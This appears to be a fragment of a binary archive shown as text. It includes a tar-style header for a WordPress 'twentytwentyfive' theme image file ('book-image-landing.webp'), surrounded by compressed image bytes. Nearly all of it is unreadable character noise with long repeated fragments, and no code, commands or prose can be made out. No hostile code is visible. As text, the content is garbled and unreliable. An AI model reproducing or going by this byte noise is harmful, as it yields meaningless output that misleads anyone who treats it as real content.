zȴQ?1Lp1gV-oVYfbsV69R*WbMpeK*f.зWs]#a,Zrҩi]ާ tɧ5Az.}A6z;Ht҆5#܎%yǤ &#;UsﱅoT6g8 &QHNmEdۤa*#ADbkSHl%*uXPlہEhez)j0~F1l_+2u /aC?s$$׮H1O^KPT,0rj}ElQ.%GSTdˠ@0|;CvC!Q݃̋AAVkj,)~*׬WW9wf@ƫvȢۣb}QM b5&u>[JI;[6]XӘ%npˌoh{84+@Np}2Ϫ-A` 煓JN%AYCJ^ ]1^ cjbp][2T V %~ߥ,Eo0q댄DPc:Sg%-UTgEsn9<>'Ck-F5Ղ9ֈ7j|Q.Ki ǣOu| 1.^K)' #zb.?]c~A-iWtnK"x.~6J3>`qd%Zٟ,k|?!3iZ0Lcڑy8UT~o ]bI"s]\#Pb:Q=%_K3|WΚ깆ȫv$?2? &E-{<ȳ )p# gs#*f0|dJkM;qdEȴڈhDav%@ؿl8}Nj♅EauD"&߱u?piq%t=&9,?S9#ԏ_q 6'0܄܂Fwu+9s#w(CdM%(4Vi+{lB ~T:PT+'T`l.⒎^*5` TÿZLp FӻZNl}7;jGO/?t ̇p2 >9|%@ DHI*eC}Y()v+|9f +*(5J1pҫKu$D[\|,U*P5CED\`v$`_(=B2pgnj$ VHYa3p4_Gu b'}45Yb8@MaM ; wu 4 .|ݒY |TI҉%Tve Rd}q՞tr K!s?d0nZ^Usljۑ >pGZVvu,)m䴆3~*uNgaqٍ ~N$Z#Pظ+_]G!ZcZ'Cdh̭=EbDK֣jHڲo?H\{YB{0X$0⭉ysxkpOl\ 6%$;~IP)t މ!V 9`][?rk\Z(" 0?b|^3cLu Oe4xcҒVQe i[4pKR/ ZO~LQ0\?r GMϢAhcpH߆N'jk>WC+aoe5w|;!{GB/Ap9M\L\+s簴^ {H4-d*|<97" 7 TT54ϊC_͡ m5-q:%بoߗCn{fDک-Bu7QESp D@W[^a%BM^ZrI Y "^gDz4퟾A*xUj 4\\5yICb΢7gx~*tǯCo(l@N&p^d %+, Xe!+ P9w~ 1\y(Y @o12㾫kFJ/5햦4ϐ},!X! !ORy$֮tfpYFB ݴdn }%-s{5H6PTk 8 :4%6Rѵu'z:\kZ&/l)ژ㷌-7ٴ} 'MI sQbgvu!vZ-&tMlb ~YgQ;JMn;S7<$4XhON%&Ցz\=z"607"`bb oTI,64xfV7&YFwK`:l\V!6̧!)bP#۞yaQԷnbK?t]NxwٗV)k- .'LbBw "OkϱdC1w #;#Jfgs= _7BU%*Sf_;8agiOnK[{P8$?8g(Pj--"?qhڷ#K\>fKD@[W8^Dx a~b˘2h*3ihoB.wKy#Dlwc> v`U8hLNNԔ=LRdyY \%r"֛vּkŗt c4_@#⹵%{LRޭ;,?lHhi؄ȳ0̏$M`aUMj 6)զnP]^-\AN)<̬Gf_Z5T@\2-4X}4@:<>P|~uU;"#o,6zB{"{&>ymzǩ$oR]βn*.3\4ox0W-}(u1VvHF A5* eDŽIFƗFqB2ˋ#fH=b \:/`Hq ACAxr\9־:/RBntjz+2س4zrhiYpv\4J4(-k!RE־BY{+\jvj ZJ䰸΢Z͟v?>#vPDhJb"O'uk,wz9, ex=(ĩ*,vՠA&B"($bq^( Q,pY$/L \ 9M}~ƥМ ؀#xI8nH05)iJ7|7-r5R-υf@aJ+Go60RGg=( 0ƋE 91] "kJ Q[/-SDVugȑ7 ~dJ 679SSHMPYaHYML'(8z'rڪ̷4ʠI+:|BY+XFl$-5 -7j R9t)Ģ3"N䄺<8ǡ.]s4K(H20g-T%@'j18Ef&ߢݯ풂zc{@[l4%@%7י;q=;<ޗʘh ߊ~2 GM [<: )РKU==M2(Gpn[*xLA)/fTRU,CwP |a9l^zT4}xE;1X]h3W>]X)#|8B_QZo(<0="Onc *sbP!NoGj\g0^4F$ǔ=ű\Έ@hWbf:f=;ZH`۸q?삾zv,žOӌ"IaeH j`KL;mqjZ5h9Ӆzׇ 5ę35a +B/_O4[z(N؊=[A٪6_k& ]Bc]|8>k%pTƺ_eXaצVEsB"E\sЯI>!?\!X)9KGhH|Ztzn %\-DGΛMfAbf3eÕn|l޼h"qs%_x4X,Y! 9]z^3H_li l.rx?ױR0n!4\-A3+TA?I)y פ vRt|qӯ/d R2rM=UIH)u+_m28G9Ap jm@Ya%X8p§P4Vfު5`tעH%]ض.0Zx}Zo@BTca+M<\SAӡ&.}(]X|%|Pc\$z ե7rp?P|)fTۊ=]ػ/<7\{Ч4.xgJnDBy$NBG ! .vry3mԨX(F)MQ`(C\O ŶrVǝ}?-V5_N'Wg9f䊡9QN]t/<\_vis!htNV,iF={fzJ/{3dz&n5b5U̒Thq"Ar q b;h-sh2@BU07Qjp{AUتӴP;L8C9L^ȘOC^Ì w\|Rj?nּ(CFwhȻ^DN>"p}^s3opv) =@BWtdQ5wEȧ*!ͰbNVGhe |RU0EEhx\=5N ϡTCbݑyT V"F!JUkw+&@9]c'`/3ɼ v;yn>9253`]kOB}-ٯkga6 I5%oKCS]b=QT3r~W1.D65XJ wdXuxOÈ)/_xTJeAu'ڬ;F)"C"Љrп{k. y {Ula>̹]kJ!1{wq }XUE"="F:lKFǂ\Ird_nI~p&MHQ}H^2Ûoy6CL֞NTa[3I LU]1 wN}te{HumSa`7xϥtL&o(W =& AX,VFHV;݊p3ԥS2L3gOC2NД{.fac6;&fIJ q"7чh|BYefnj5楴!|DV(? 5ߒqDŽژ $ވaK^|bs?/lW@Cy:_88=J g(-\,ng<(dF³}r`uRZ]5O_)1LHAy u;`1/VBX~0zb8cM7<ж;s8vqM૧kDuفxwOa[TLV6G|l*L}!8t%9y=bkP2 QjZ(D<0>lpA$-DnQ@dN'f#yeJlŃo8Z7¶"K&#^l9^lY Nj?&XФ;ڢ5X\6s>B[&(:*6w691<\Kg9JoEڑD\Gŋئ|ȮTe]6GPv?RyvfT^ʓl]w1Ü<ꤕwah6-+,[&Lr;xnBrM2\yc&Zُ}QM&M:@`Xd1ӴWoGY6/J:cUĕ '3j|-N_WN(p_Hs~w,(tHGd%\1x;jޔRDWhf}wͯX$Ӯ矚Rx1YE8 w@Ze9dJH| mhQ47"͖v͟X mΨHiC=wEhJ2NL_dr}JuW-C$GĻg+}ݭ]=} cNzZg/rDjA*~2foOFhW;C/HWwvT`f8IH;P`L3=Jbf~ڠ4Yc$Aa}&?|i܁d  1d5IC˟9W/H^2!H+r9n;)(xbu&q%Pw>/C5\_Vhw!|~NL-)SApQr 4 ]YzDeL8Jvvm ׆0ĄLSL(0IdL8k\$V<9<+:ơgBujܚ3[hyB-g˒R#%e|kG,c`kܫ"@^Nى+qXa13GB)"f-ToX9_{S{ ]xǤ8thQ&_uOS"1I9s2X+*#]ʮ\4ʝn (| xz w&u0ljK5W:/2@⊖dtz1BBwv#^" T [DXj)ݰŤpvܜO!S]S%lb|W%%vfQΦG04y& 2_>eCCO<7g@JCͬKDeunPf׿g, ><=yPV Rf/z& Hz7Vn۶fMβKaR1Mp(i M򗒿 #K TEEJ̊7&ܡ9c oB1_R2O7׍G+Gf!*rg|! ߈(4hߐf37xz(عkFB{2jێ+m>꘳lcNſm̹9whC2\}|& +r=I2ǝ1>GKCW5|HK߰Wf=~lp"(T/tۤa<7- W^YGCO&YˍNj B~ N]j)۲{nI89NtœΔG0m l6,ބOF@\Ϸ3uzG`'RRqrP0Nw]?i;d9=tݦ\4s84DKKO1N6J28 3k㟃ā&1tMi{5ۻ>9mѭȳWHQ0r؈'JaϜVVd=ަNܽ%}VXq>`7Vę+aK4OQOӖa3,LJ~ mf5^_:\I s{<2zţ6$Ev~y$\?B )4%a%D;P=hLk7Ie5t(lvgd% qcyM]&lȟ S6Ě_W5ڼ:p߾Õl63ǯ`ak@VW)v؅z  h܈n4)%jA2͞: jgP7 eOuB R?H7mp߇.jc^ gO|R*#ΛAEI;q7_kc֙)iZΆss,kj:vOIe c|3 D)ra`}x4,uHiR%|,~*{-ԓI}JP1rZZʦL or d%AUSj;Z' +D rZ^^T9˂yoRCBwN#=^=WihTQ%Jg*sCH 2$е}lƴm\L_a&ݎbKP۲`O`|7VwyѢ'q&O#Ĺ$_q5mtj-5j ҽvM|]&`År< |wLq(j:ai5 jjʂ;hj&Iscj *,(`r[}4 3ڧg '}ctD~D$g=kA?F,hVʛ-\^CWሾ&<R0n=3±`pK19~HRYv&֗cմ(#|,q'sL Yj׫2,/JGcE*Y{/Kpe%?Y)$fvKiݺ1#l/|&,Id&?j]tC#REæh=#1)A0,(-]AK$bhXp`\YZ0&vg2g$*K3^+7ۇI}A=ŀ%R֍^.ϧT RDqQFHϫ9[DdmYIҷo%Oh0MA)J*Aej'm"{ϨwgKuxvY&_)0/؀&:$6^d,(i=N$_VG{֌Q-͓j$ hCȹ 07קW=^ ;Jpix.%ƻC5v֟/v/Ң|"3|`_)6P ǸpR{\-[qLo޴*EMڒfA8'GnQFT)pρ(L>(L. o3}? F/Xɻ[b`3g5E6^Xyt %X@d]{g63ߊz$I}E'/0~]Z/N) tu>fmD9ج_STy 4PM+X,< o9UaUzSk(<̡Y `'LWw=(U` ">r!׸-x=hrhؑrpi[]n$YV:2Gn0X"-NF'RUoXD,dB s4R`!( c[hvDEW"WN!^Ř&CL(qS`ja(Of -D- hhhdžx$[R0_aߪ*hn0dơ6]!_nwա@<woŜEvu1Ujo/8eMvP yž^{1(k!tI7I:otWgWC! k.Mc&^|d0,U-^ïfmyO&Q8bw1[-h}Wz!ΣZxp@Ctߌb [m)h(t9=sͩn*@GO_{i8Adf(I 4OdHYA#w堑.|Y/k/x-{95!gXvu6lލCٵ98rCL^XlHm@]`H+& zq./BTsMO> JeVsX#h3XV 2&UQ z-G?zE$}Ll^g<0^q,ɳJ;Cmvs OAm_"!kJ"dHE4#n>4yGy kRij)LphtZ)=y c9RK$m}ff ;/xf:Ԕjsxu6zrz.KO`ʵ;t$ʠn-_&tw9L>/,>siO̺4q[`a+Ś09XA-_ONC db>9@ dL;@`|n gus`)k D.B0W%-?gSpj&Haes2;Ʌd( 7dҪA][NZH@TU+2 IM*O[8ЊjG%mStJMIIM1-cjF,Gi2r)} %JO-8^vwiaV~Ne16ٓO0!V}.HdnIx-/W~~] l?+ݬ{T rVɓ)F4Mʚ `ѵ^kk"S+&yyLWc:b a5r:cq}_V|P@TB#Y'/kUL*Jny;Wźg.'ҴɠEƖ#Ոfq[f+vm/VDF5Mit}mzZBY? ~(4ZLiZk ;a j?"1V*)4tx"~߿MySLL-^}FĔdδYύeRe1̭[/Ēc2P߈~nQ3CUa<K:gn'__SP}\Gޮ.y%Ma<2i=TDRRe{TXƒm a鹭 r;3#?LMNGQG|cק.@PT4UM~vgm) "1&F,4>c)B4Khv6hLVFx 5SEvh:{P3 T@ҘW5U{PҴ}ci^P?>"M2$4ĎTO^]pc"[Fq_ə\SNn&M(!)wto"H{ښuͱ,)mom 3G͍;!T8fA;B>h<¡Ji|W\UA(-ȨbNUD¢ nhDoW"5UN?dI? = sz$}a+ZrCim{礚 [xTW7R#C_VcI FO>n, π}fNw dCЌpĪI!LW";.8&C ҞS] wm^blT] x,׏TYax DP1KuY.Jz\[Qhm{pʒ6rFx,/w8B׬?fPrp&d & 4(Ic,iR{|ȔIDb8pq]z3)"|קn!& R Aֶ,.)re(JTlςz}@!sr*.z>n2J^^cwӓ;,fh^ɉ"#;rҠIKQn7Z#0!i8i\0ݦ+Hx\_q-vي=vp>V5ޛE)eHD7bO.V=æsev܆ L1Ν 80I䛍L\ӭq*%H2A Hd9w UmzWYhqsn,B((ozM[L O]5$wv,`c4,bu*(Ng88]-\;͏?nI;'? E5hv͈ bJ:ܬc 5C-xmVq|Ν}۲h<%,ܠ^u,nicED('P9A^kޖ/!8R-z۞Zɿ')*|N74`V+L*Pp,pb.AY*b5"wK+ %SgϭL]Y-`*99: ß.wX 9]oepGUx2/O0Dc׾~7A(& |';ιᆧRBG\!2R@ca2!R'{0%Sb"g#CQsfJKȩ 5}2j;Ʃ^fOšvVrpp #tԫb0Goɇ q+\hw̼cc7rV f1@:LZlI%wԅC.Դ]Y="ńŕ-xF5 ܽ淋V7異ϧQ &9 _ áDdNxz3 H?:ozh*[ʬ4 a*^RaFz># ;h)ȶa\.^W:O۪hvjsm.5y6.k@ [r2kbilp 93>ˬhOOUb`8k WT[㙴`i|ݰ2dg ]ȭYǦ5-Zzq2dK^k*'%] QjՈu8ĿDP=v]U&*b:էIK a(,pS7,G[C6(쌲gT^)D==_L:'fSu-:Uzˑ*P$HݟkUep{&.`fAMKw1mVXޮnpHfKqD pD(&(|Ry" *q 2C!^nn3'G?!Ezlg֮>Nگ+.?:r.MaA3kRp}~Jo.&AB7Á{RRȍM;3zHGePx и-q#J09,Ƥ1U>5YrxrLQn1Gd8Ys}'ESIzKO`ߘޑmƞ8QN,aL|Ma8cE>\NbKfQQ jsgk5,Ӆހ~ ʹӿj$}yXQJ?bZׅhG][tRܯj8m_SG/~@n^>yHgy2MI^0FCW݉)#k0_MћCxԍj00S ~hpCo}Z[߮锻܇s:^ut>x{*by빖-:dSp92ʲcr"qr )ʯa4ݖ=@6̣VYݮ'@h wr?KMGR8HIVs R- 6Hv֖nl_SVH. CҹX1ՔS&6P=τj9gײyՀ,8;aF:V([lߵ{(4+W4n2"2xwz~zb6)ԂnB i a" W~!1 CNq/Rۥ$"4./?7_Y#4v?z*B>=$!G)`bHP }o If*CAo]Twä n-CWqݱ"l@֘]uzy\S[=]BEnLZN~.; 3Ί&N xK6˃f{`$+V_='AO-o{j%VަAy)BBA7%O>?B h+jpWwf6k"e5(EF"; (iH{0|_/R ۊ9R:*kǶ3_RAۑPr;45Aɠ鬌i|edZ2edRκ-ƖG.)3؄ZsbJLS䴼N%V MJ0ەGIj ? 3uzG9;t,Ž%=o[ } lX܊Wy_"W ~ hw5H |*VAG-bp3V8K>&GWATo PgD˛.O{cX~Bm,>#y},Lz6֔Uxͪm? muWJsKi,ti+xg]j:eݴoKLތEA$SDrH$*-Mn'jʒ6;l.PPB 7{ֿ'ZbJ~}adq_#t%MMvqp!Tw(%Nz2BRe8WV씁~0_Ai! pβ?~0t2Z;a!M)Zc!؆)'ԤbWA6QY63ȑ0Lgc$+ejuGNG7w}Ƈ}5cOIn; aڴSU‹jIB_XQ0XOKQJ]/)`uS00h6[e0KnkјmH))#b =( ޳;2D8?Ծ4 76^ h!O 7)nNo<+US0uÈտuGsٰW6A#Zen%)_SXdt=c7?1݂6NpfqiJÓCh}~L,c5x&1>\rkF@~ zZ!fRf _'24;`^ 145S zU-O5ȇ:ѷ!ر,}ז_T-+ Akʟ99P~>Le1V +)` ?E1IOD>i0v=v{J"lBSg; R1}~_C-.PrуDP+J)~1+d}:)}  x7NQmݻH=K@()3v-a䶭jtEu63R\A/N2kc%|r ]P}f6$6F%mɞ8םRo;D͚}xvdCWԿjD@}fS2 Q}  CT\YK~8@hC12/3.mǶ)Hj*||ޔ0oDz3@KVy >kY[IêJ,_C}[I`>RW(5ޙxGPo49Wk l%:6Ϯt%*Y!{y$dP tv3z"~B- Y SBeS5݄up5.M7ft+?vZ}N>0Ѽׂx@ XB%#vlN䯪Yz4%A Bz=ipCh=j2c tlwe b (3X)aZKoH:nZzqNxU}!gwwF+u=@y6\c$e StI= .GSrF}6^?Ud$Az _R웙qɝ)(ju}LMlG~ީc:M[{ڝ@gP9> ;B MV@ڇr1{yowHs@0DD[sLyAbx7_`n:N(9lb,&DGuA}IS"JK!x?оߝ>O3uXPR*+ﵮ-I]Y5<%$]Fv[*k)UA ,Ud;on!HhwސDZ9u@5,ɝNnҚءhyØ\nW;e4wS².g#V%^OGxYqPpQomB:A$`.[*!dQTn[ľ c d"D:>%-,փ?UMKV(ntvF-G_WQGw0\R CC8&s:l "0]FևB`v9&tӷ 0,T?Q4/`aQōab8,,3'Xppͣl& VVD/Ml" )8EvZnpw-B^]O-ǻ%-w'~a,ϑ~uQ81c*{i!&:/K'VBZ0OaDtZ!7d čta%n q72X,gF}XAcxH~(%~u#ՎC_hL.d.MHT;ҕzS#D6i3I 8JyW+Ɉa/p>8nJ1 ~kTEnb@$Y U0/BӍ#/8)˟ו-WKGEp1Fs5>8]鲇 9Kf100ׁ| y|}(9X#N7`ZHo+:@VP2޼]ZJ;{ͧ4I[a뺎qAI$1X*LV!Eea|2^hM/a 4WiYr{ACљ1(B"b s@l!i@z.:{®SݺVM(Qhbhzs*fpfvP\&.[VhFPy#wF!P&ݦ]7Z~NA8!x]]->9@xkL}Pfү&lyB1 '*m\ܛ4p]op"9Nqt@!Vj ?Ye4K[ri)NKhMΤ dc>6myT UN$4e#sddz~l.]1m[MGÕP^|4bIgQ+[~xgpDSi`LqH; mؗj'bbcFlT)9YYlw'ZżӆX'ƮQYϩtuh.HEzvwh{_~#fS>9#xn&HXrߖ#UlSVw<3\ZFTmy17xIxq[7֏UyjS魳{\d"^]8m864kBײ>)-0o$HM2P$Msw A6 33+e뿡T$sM%JH" 1Ye&ڒQ1~CbXAW& V Q0u S%ݕ}/RR.;~P!GLƺ$:/C ^'[+QwBں Vs}pXV~w;V돳34ߥUu?/EiTfrwߕ+_Va?[]gې56-]{hqO؋rۍc6 "zPip S(bvقdpM>P!+yT6L/B !f7U:LXD(`%M3G O4D%eGt5J8A:aF`)PK:zES.-5[_n,>E̯d|2״ϓKd*f>? DX{.b<) '5G̈2r*Ю?X^+׎mp3K$}sk$'Am{Ep@7\\A@ ]zk>xfxL'N)g?އeJ+<[{"\' VAAQ%\Xcz0bT- (Lf,%|.V/kl°㰌p,Pz!0ᙬ8rnaxnC_ K?*uD׽N=j+r@DۥOLŬth'V2YyoGyƖ?)E_"6|+Sծc#SN3kpV5+X}$>w# OʍZqm 5o9ED:ʸ{֥촕p4;3Yr $H̽x=H/ekIJ*D@U~--˓ vƙyU t'=A_mU!Q2mM> t$毶(qφ80 9=KGϙGI;]ɳ@W)1R3evs!t)G,P!S?jRRS mnQyHs5KUbh j0f%֐wnΫZ7JͬCK.%tR?$Baj*ҶTeN'~]Hn-$5Hs4Xa~Q\?86sU(|\qQ\o+`![45UZa \eAy»->Mu[T+۞Blfx6 0o? yTzr 7n5p[oܺ0Rà`k^'2_d̂qf<$Gf@u_SL4\iv\hZRyv;Mjh5L{ 0^-qq`Ej@UwϜps9TGn⋮uJeV-w>Y!ybX%ʤF!G*p$j5o%853a BjSG3BoMd`ؙTŰm۝ :R|I^vH@{ͫ%,YGɸ=p3u$%ihDuA-T|ӹ?t#:vsCodY,4YΦ!;q BMhrЀ(*+zӃW1nR/;O2cORD֕*o^>WcBQNkjUjGiE( +d?vGꦎyI1q{1)e/'!(Ic]Dey>_[M50oJo˶'( 5ssK~%*M5`]QIr4#}-{znfE1f"-kCZ5n-`ܳKE_آ7%)w+N7 r/aA2U%4YZ P0fq~׷Mtk76Zv,`XТza ס+)Et\TNER21,di,L3Xٞf3Y27C$I7a!滙(rN;s__/#e>x~:Hc/[O&0'`d hk2]$>}0; ΐQv{ӭVD}7D=^%ŷH7^s{j]{6J15'%9K{Iae,,€j6/[QYvKWƿZ+ɿH@3sօ+qZaC :l T][/UhXf!^"2to:ˠ%0n4\ 0#^|ߔlW\6lM1_UՌRL24fE^־-Z݇S9xQ2|Y/ϖDI$<ؒ5Ҙ1bֲ$n sߵ o Q}ړܟ_[Pi߮GXY9 QGV'!׋>gLd6+: ZQ48{T@ͮn7w_(Mdq'M>9A;JÓ~axIqE7.z ]>(?[@ ˙#3޳[oZzfn~!l2r`TKAZGp?ܝTSMpvB$rk5eJW3rU>>w#XU.}T)L|(HI:Y9)^"%*'Ѡ__0J灟@y_ׅvsV{V>az|J% scXdHh4*-~'1&6OOJ˙o)FΪp3:h˾4)]'iYdrp&/Բ9:y8jU6k:)$MK):ݽ%,݃Vm?TmZϡpL{2DEr8+uf/yi_9@go>ۛ*\O.ؔ.IʆavhmZ tqmchAL1b,Qt|tk<'[ckww/Ոd&ZtYCMW% i7F~G7GJL:`|5Oօ@bYX2<Jɽ @{&S3PU&@r9]aWgBOfۻX~K^\pfj:?dťA7̸s"T]mFX[nWl|^IdCϺQԆXҜ8%=gRnvvqg &9#6`<q[[Y)u<9izAƚ8 CژrYN49ad-4J]o]8®Zb4wRC^*!ዧ<31;)46sQށ! ~uҜ*#FSks\%d*Pҷb+P0Lq ْU0%"XOodBW iYY?Bjٳ fMp D*1CCpm“OcӭC ش̣Z+dNeڼi!=i<8C?l+VV . &ܵ4c=ٟSz'54ĐOQ!ӰQ4(whf7N3m UH}Ռ9s]b֌=n4~EfL;4nX?78%-MsLjdHf. 71)ژ _`gD}/!UBBrTaKKm5]ͦd6NJu|il> %Sl8l-h2OѓE4 9IxXL^ba>b4:u̥EN2@>,rԙC ~i W) ;p$kU6%/R)GZݖDc!{   &V?Xݼ-5ދ?E& zn+ @\O0H :d * YA1N6-%fdWh3g"P:g3n=P`xBRaRMnn`4. \^c^jO ~b %MMHٱ!ds԰rLr[̑[HHaX+g^tD;!BxΜ;vCdDv왑5QvO\1\-4M8@themes/twentytwentyfive/assets/images/book-image-landing.webp000064400000046426152335264760020613 0ustar00RIFFMWEBPVP8 MP~*~z>BL,pHr ingiРk|t nUs$[;F~]i7Y@Ok֠:W?=v'}@x4h ' .&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jc.&1 jcA\:"VGUhuZ:VGUhuZ:VGT~#.0 B.0 Bmph`SPu51\^kxu51\`SPu51\c!q]M@La(cr`L`SPu51\`SPuxUG!qc ݘ xF \FQT@.0 ho$%q6d0V3n(?@}(KjSXM7}8u51\`SPu51[*?-L{''kRH[L. 0A EM@Lb_qJ>z!q]M@Lb!q]M@Lb\ǻ؛LhNXՈkm3.0 YL Egu51\`SPu51\\0 FT2..d_eԀ c.&1 K";gu51\`SPu51sYa(t߷$q~}a>lqHnYZ)9X!~eĭ^,9;@[b:u51UcTVb.0 B XJ:h-At \Jw'3OVT6'_EӁx PʔN _-.$%^.0 B|QLx(b.0 B=YF1/dp8S .IvNR5o P1D"= b6PA9h2jy`SPt/\‹^!q]M@Lb!q]M"Kr֏%? Ui+ד>rJgu51\`Nx[:Fbv!q]M@Lb!q@ef";c7v$"PqE>efxN2X~J6 &1 i{1)t!q]M@LbAR:_I U[nÖ[?~.-l+md+N[T?roq.0 J7xt`fP.&1 jc/f3'w] 3dGٙ wSPu51\`SgSgHߡQvm ^/$d.fuQO*?DH+҆7S.0 BbꁀZokw,Iϙ:k  ɬb!q]M@Lb ;ziL3@ӥBdk2$TV_j=FijdGٙ wSPu51\`Sd`c4yVy4qM:D"5]ArmcBgz/7ӟ^!q]M@LbGdݨݪT ͜n ѲdOFȻym tŽj=;*A{'X.0 B.@v*L.}c1ِ6t,-"uzK0 B.0 !XH~i.%1f1GmΊ-V4I5f1\`SPu510y/8FKMz7A;ՌՌVMO!Njc.&1 h'IUwKinHV_Ōl?970Ja[XX̅dd&1 jc. hO R-}q( Y Ȁ.<c Y7iƍ4JO&!q]M@LbUBwuzG%(>PPF V[ V(a1 $f3CiM#A7 ެ)L乿3 .0 Br!$}KՋqQ23,Pw@I{&)Γn)2qAsSʢam/ٱ'qaB.0 B|QVw횂>*>wPf RBc?)jo9A# T:tvmnm؁{+[?'u51\`SPu4ZQ4p {;pE `IzMk+{5@ؚQeMrgٙ7&1 jc.&*p'B-29iS jΈ_B-3$l2Ў#F>ɽl1\`SPu51Uc~"4K'cq Ǹ0p \fR@}@ܱG|/dku51\`SP3yţ;D"s|X3'0wA.ׅoۨ+;p53 x pYL 3 jc.&1 iͻx715_*; X. ;Ǘ`_SNGG'SPvzR×ՃC` X(0toV9VHϳ2ou51\`SPu4`_gߘyn5[iu_O0xЏb VWyN0ګ8=Gu51\`SPu4XfNCم sӯtD$۝De'2 muF]a2M@Lb!q]M<8x A*zLTz6`VR@Voz]Yܡd 2И0u51\`SPu4XJb7fƄPC] oHQ6?r{/S t% p&:c.&1 jch<% {ȏ&೥@=#|Umcm  c&1 jc.&0}vT3*чW A:$\-[ 5F=VM豽Y 3Wf/!q]M@Lbc=ZQނ:VG%5xX6gxyH̛!Njc.&1 hA:wo@u'[H}pw W­l2.0 B?H(z6'{?~z ߥ)D'-3/&$a3 .0 Br頕a4rb0Q a0˜aL0S )* %:_+$:+܂ PFvhu51\`SP=.0 B=dMxfMou51\`SPu4W_KPu /y UhuZ:VGUhuZ:VGU#4R( qP I t!q]M@Lb qՠ-HQ|kAxhF !q]M@Lbԏ뜬V^;V~_94tq]a3 .0 B0N0,.Ѫ:ZXb] )N&!q]M@Lb\`!ru66AK7)|)M@Lb!q]M@MqHzIY.Z`>H%G#D.0 B.0 RRmP+w]gui6 rAf1\`SPu51\Pr#ַmkYkNnLf0.&1 jc.xJ{ׯΊ[uK>ϑP#'f/q.0 B./WϕY~_u]~W]^@rhu51\`SPu51 D d4H-j1js9Ng?$}GH^~ HӴbX_$2c"gOO(wr҉M Hj//?Y׺A㴼Ȣ< Zw{-MhT fTJE zЦ7טOԏtP%눿>/O=4n01ߌD%*?-0ÖvJՏLrU3 s#g5? ˶)g EE@lnbR?.oIjaSwKr:i/Z/*O l[zS8u?D0|<=(<Γ_%"G6],P\s栃| `I)P6g8*u]Xޛq3s࿛mߊOqpR, xc8՛3Dcep jIQ"[`xev2qW\=n.!x&q(?5+$vߩae?_bC9"V/$Nҩ0>"-@Cľ%aO5n4jY1ՊD,;#(fHȅlP-G=M)=@?TDiT:OHOUɋf qg.o{/pإiR-(^_O6!Ϝ'&7|elr1R4 x}YM45?03V?q xPVYSh0ǣp-G {&)6)~3]0 OMKv2a8apdfC[䖗1Чk(r܅9lCbqRR * /iM*.bOtLL.HHėm# 3 t;W)0NځT#:gHòVkMMOĠdu"`+#Rk_n'4kMJZә/?J*]?K2#k}U;K0 tJJv?ְcSW݀ɟt>עV.F"#LHGG SshEyL>@=kGvEnib /m%R%٤f8̣3̥ٹ9~epR`Sꬫr]G)C0.&!;%Ilr5%s+NJAߺnb".f>g%(=$s΃-COg,ww!X|ܶׄƳZ.d,>;36ӢAVlv 8 B,J#Q78f;˙4 \4yWOxz0 v9A96"i1qe $9?/[yֱٰr)f8޼My*6MQ`Z> _s' (2'5e;o{:=Kp_zc1WVrwF۹9:ljt˿m渙ViOD‡ZD_rgu3eJ|l:̂Jpcp +s&{Iͺ L;uo :8K)Qj4_#ubE9-F:pkpV._UYXro@ic҉irV=lkU-M>Ob9*ܩ<$O3y0X鰂f.37%.;"7j..\-H$M Pbԫ$cuɇE}>Ma\1Mq[= '^"j'Sl.K@K5‡m^ 8>Z$ڂiǹ $BA1gIfOfdQX;& 0ɥ\&pɈš 1MTA/=1 QƷ,<]*?ׯNxqO?tsB=H&;-:ooX>!hljvrZ 1<)?`W~b$@rc5,j!=_wjU YTNt#"@G&džq&D N_wd'ڝLj 0FlC{\l*c對o8i\ ߯v:b" W^||#7"fa m}=!F_bM;?CE'-1`;4b7XVڄj3"&W'7'Lcɨɱ m|:>(#TѨII<,%iP)Wwe6?8rĵWwp48BD-m-I c'*Wdm3Rm7[P^BBp\)}B/oo2!Mp"Yb'!^pE7S,#̃a[7ttR\bߴMؓfoi[h!캒ߓ1j(yܑ>L둘Z݊6qzRqOkEa4(~n<8":\Vx5\|ڧ͠*rIЍI/V[mQAQ#s\WzH*]'|r1K HGN^ V05iY,,rS!|+&T؅ Eo1Y2Mj(1 8'* FBb $KAW%%y\ͧk;o񨼰悦v|ff1==7F.@n%>ER .8A ,DlcγjX~`] ٛz(=-=VKcd@j3gǓf@Inm=2k&Z@nd/_"Ͽӛ[/$_0ij:q7ãʺS԰|hdعu%RYWKK!%aˈ.y#)H1 Oޢo GRN%$h(W&LlhڨNQ=|0 Ȑ세$]V-S!AX%HGG[փ4!4̣;Jg]s귐?TbgkE{w3uԼ:snfa X/R?#`0nZE!7_^l@ṋx؟ӡgU.z6^۾Q.i wFwp0ENZHtCbFx=XQzW`v*^Yf :AS%[;9/r<=T03RU͸xN]/DjH:fy_\J?Ñ74F b]ز7<VU@i>B+4 ZB!fw^y$eQ-?9pyKOǭ4a6IX6@!E飄 2vuKˬP.! ܟDB4xvfyAI?&!>t9 :*\i=HuĜV. ỉ̢Q=T]w K2/w݁Ε-%ƒ8xPR' (ډQ PAu_lkD?V pe}Owa/.h0\zp=BVI ť0Z THE&Gn>kN@Z7=,NLk;y6FbT#&GĢfu"h:c`4n0#2E,Tp"o~ 9~,̯#}RG>Lb9K#{?Y z2VZ؟:v.DQȨ-.Ř*du7{Y( ƦkK9bDuχ"+ȯq˷6ɟRJwPg +ʜ#Xb@QdvW?&Tzį61#S@l e_l@ zhE..C$%NVWx^qS?Y1as/N!f^hQ7 0N^cr8H!ԚnԔ%gRY 9p(ځπ(G iK ;-t#o&(tuyҋ!Fu;>xՒpQfU_NJ[!ቡnK̋bUٛ*OGTXC#?AY큹q-"[x"kj;wX:x,B}3vP;=Vz\Bǽ:µ*Lo; NEcaLAl'e- ޻EƐDYy߇օڔ!ohRm̘}_w@Q#Q U.AbvxY߄_|@X kN @^4Gxg&zDŽMs׵BQԎmkSF]˒ 